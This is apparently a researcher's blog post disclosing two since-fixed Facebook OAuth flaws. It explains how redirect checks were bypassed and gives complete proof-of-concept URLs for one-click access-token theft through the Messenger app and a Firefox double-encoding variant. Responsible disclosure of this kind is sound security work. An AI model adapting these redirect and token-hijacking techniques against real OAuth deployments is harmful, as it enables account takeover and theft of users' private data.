This is my second post regarding Facebook OAuth Vulnerabilities,
just to clarify there is no need for any installed apps on the victim's account, Even if the victim has never allowed any application in his Facebook account I could still get full permission on his account via Facebook Messenger app_id (This bug works
on any browser),
Also, It's important to mention that there is a special regex protection in Facebook Messenger app_id (app_id=220764691281998),
I was able to bypass it.
Bug 1:
Reported this bug at 6/03/2013, Facebook Security Team Fixed it immediately ,
Also reported more OAuth bugs at 26/02/2013, Facebook Security Team Fixed it very quickly
Regarding Facebook OAuth Double URL Encoding (Firefox), Reported at 6/02/2013, Fixed it very quickly
Details:
Facebook Security was trying to protect OAuth Token Hijacking attacks by using Regex Protection (%23xxx!,%23/xxx,/)
Facebook rejected one hash sign request in redirect_uri, next parameter (next=%23/xxxx,next=%23xxx!) to avoid OAuth Attacks,
Instead, Facebook allow two or more hash sign request in redirect_uri,next parameter (next=%23/xxx/%23/xxx)
That's because no one was thinking there is a way to exploit Facebook OAuth with Multiple hash sign request
<a href="http://3.bp.blogspot.com/-8EH8f8BOY48/UT8ylywCTgI/AAAAAAAAArQ/lxqkL6Bm0kA/s1600/strange-albert-einstein.JPG"></a>
So Can we exploit OAuth with two hash sign request? (%23/x/%23/xxxx)?,
The answer is yes!,
I found that there is a strange behavior of redirection when a user use multiple hash sign request in facebook.com
Multiple Hash Sign Request Example:
<a href="http://facebook.com/#/x/%23/messages">facebook.com/#/x/#/messages</a>
Redirect to:
<a href="http://facebook.com/x/#/messages/">http://facebook.com/x/#/messages/</a>
And:
<a href="http://facebook.com/messages/">http://facebook.com/messages/</a>
Amazing How Things Works ;)
Now, After we know that we can use multiple hash sign request (#/xxx/#/xxx)
<a href="http://3.bp.blogspot.com/-_a8EUa-Q09o/UT84v6OF-_I/AAAAAAAAArs/lmxZ5Z6tXFI/s1600/multiplehashsignrequest.jpg"></a>
<a href="http://2.bp.blogspot.com/-4QGJ_Bo918I/UT83gzCiTQI/AAAAAAAAAro/fiKc7lIeb0A/s1600/multiplehashsignrequest.jpg"></a>
in our redirect_uri, next parameter to bypass the one hash sign (#/xx) regex protection in Facebook OAuth (next=http://facebook.com/#/xxx),
There is more to it in order to use that behavior to exploit the OAuth Bug once again,
I found out that Facebook OAuth rejects unauthorized subdomains in redirect_uri, next parameter,
For example:
Facebook allows only subdomains of Facebook Mobile Version,
Such as:
<a href="http://touch.facebook.com/">touch.facebook.com</a>
<a href="http://m.facebook.com/">m.facebook.com</a>
<a href="http://0.facebook.com/">0.facebook.com</a>
But rejects unknown subdomains:
<a href="http://3.bp.blogspot.com/-EeWN4JJ8pIQ/UT85UgGpYvI/AAAAAAAAAr4/ocgS5wrt5ic/s1600/rejectedomain.jpg"></a>
Again, Bad News!
We won't see the multiple hash sign behaviour in our request
For Example:
<a href="https://touch.facebook.com/#%21/xx/%23%21/messages">https://touch.facebook.com/#/xx/#!messages</a>
<a href="https://touch.facebook.com/#%21/xx/%23%21/messages">https://touch.facebook.com/#!/xx/#!/messages</a>
This request will not be valid, Will not redirect us to the messages screen,
<a href="http://2.bp.blogspot.com/-9dLOki7KHfA/UT894CqPcGI/AAAAAAAAAsY/eRukpPOt2NE/s1600/51514_houston-we-have-a-problem.jpg"></a>
Anyway, I need a subdomain like the same official domain of facebook.com,
I need it to exploit the strange redirection behavior with multiple hash sign request (#/xx/#/xx) under facebook.com
At first sight it seems that facebook rejects any subdomain except the mobile subdomain version (touch.facebook.com,etc...),
I found that if I use facebook as a subdomain (facebook.facebook.com), I can bypass this protection,
Sometimes the answer is right in front of you :).
Wait a second!,
But i can't access my app that redirect victims to the attacker's external website (files.nirgoldshlager.com) , To Save the access_token of the victim,
I thought of a few ways to exploit this situation,
1.
2.
3.
I tried to use my App or Page tab in redirect_uri,next parameter
A.
(My "Malicious" App, Located in facebook.com)
<a href="https://facebook.com/apps/application.php?id=314021278671363">https://facebook.com/apps/application.php?id=314021278671363</a>
B.
(Page Tab that redirect to external website, Located in facebook.com)
<a href="https://www.facebook.com/Goldshlager?v=app_185356844859770">https://www.facebook.com/Goldshlager?v=app_185356844859770</a>
Bad news again!
I cant use this methods because there is to much redirection process in this attack,
The Access_token of the victim will not be sent to an external site after 3 redirection requests in GET URL, That's sucks!
I was thinking again, Maybe there is some way to redirect the victim directly to my app located in
This file is responsible of redirecting people to external websites, In this case Facebook provide a warning message, Ask the user to confirm the redirection before they redirect him,
Seems I'm lost again,
<a href="http://3.bp.blogspot.com/-hxzv1LYGOFs/UT87W5TOLEI/AAAAAAAAAsI/KFokQf84GCY/s1600/warnning.jpg"></a>
I found that if i use 5 byte before the external website in l.php,
Warning message:
<a href="https://www.facebook.com/l/;touch.facebook.com/apps/sdfsdsdsgs">https://www.facebook.com/l/;touch.facebook.com/apps/sdfsdsdsgs</a>
Bypass warning message by using 5 byte , Redirect to touch.facebook.com subdomain:
<a href="https://www.facebook.com/l/ggggg;touch.facebook.com/apps/sdfsdsdsgs">https://www.facebook.com/l/goldy;touch.facebook.com/apps/sdfsdsdsgs</a>
Cool!,
Now lets combine all of these methods to bypass Facebook OAuth,
Exploit Summary
1.
4.
Final PoC One Click (Works On All Browsers, Bypass 2-STEP Verification, Access token never expired until the victim changed his password):
<a href="https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3Btouch.facebook.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token">https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3btouch.facebook.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token</a>
Full description of permission for Facebook Messenger Access Token:
ads_management create_event create_note email export_stream manage_friendlists manage_groups manage_notifications manage_pages offline_access photo_upload publish_actions publish_checkins publish_stream
read_friendlists read_insights read_mailbox read_page_mailboxes read_requests read_stream rsvp_event share_item sms status_update video_upload xmpp_login
And???
<a href="http://2.bp.blogspot.com/-Sr-K-xK6eCU/UT9r9hTRh6I/AAAAAAAAAs0/RCrLe7DQZvI/s1600/gameover.jpg"></a>
Bug 2.
<a href="http://3.bp.blogspot.com/-5cRJ6UXhMrM/UT8pQ5wq8YI/AAAAAAAAAq4/rw3FOlG9oaA/s1600/firefox1.jpg"></a>
This bug was fixed a few weeks ago,
I wanted to find something unique for Facebook users that are using Firefox Browser!,
I found that an attacker is able to encode his payload with Double URL Encoding (%25xx) to attack Facebook users under Firefox Browser and bypass Facebook OAuth regex protection.
PoC:
<a href="https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%2523%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1">https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%2523%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1</a>
BTW.
shows how
to fix these vulnerabilities in OAuth 2.0,
Also please read the risks regarding OAuth 2.0 before you use it in your own site
<a href="http://tools.ietf.org/html/rfc6749#page-60">http://tools.ietf.org/html/rfc6749#page-60</a>
See you next time :)
![Unity遊戲開發背景知識[圖]](data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=)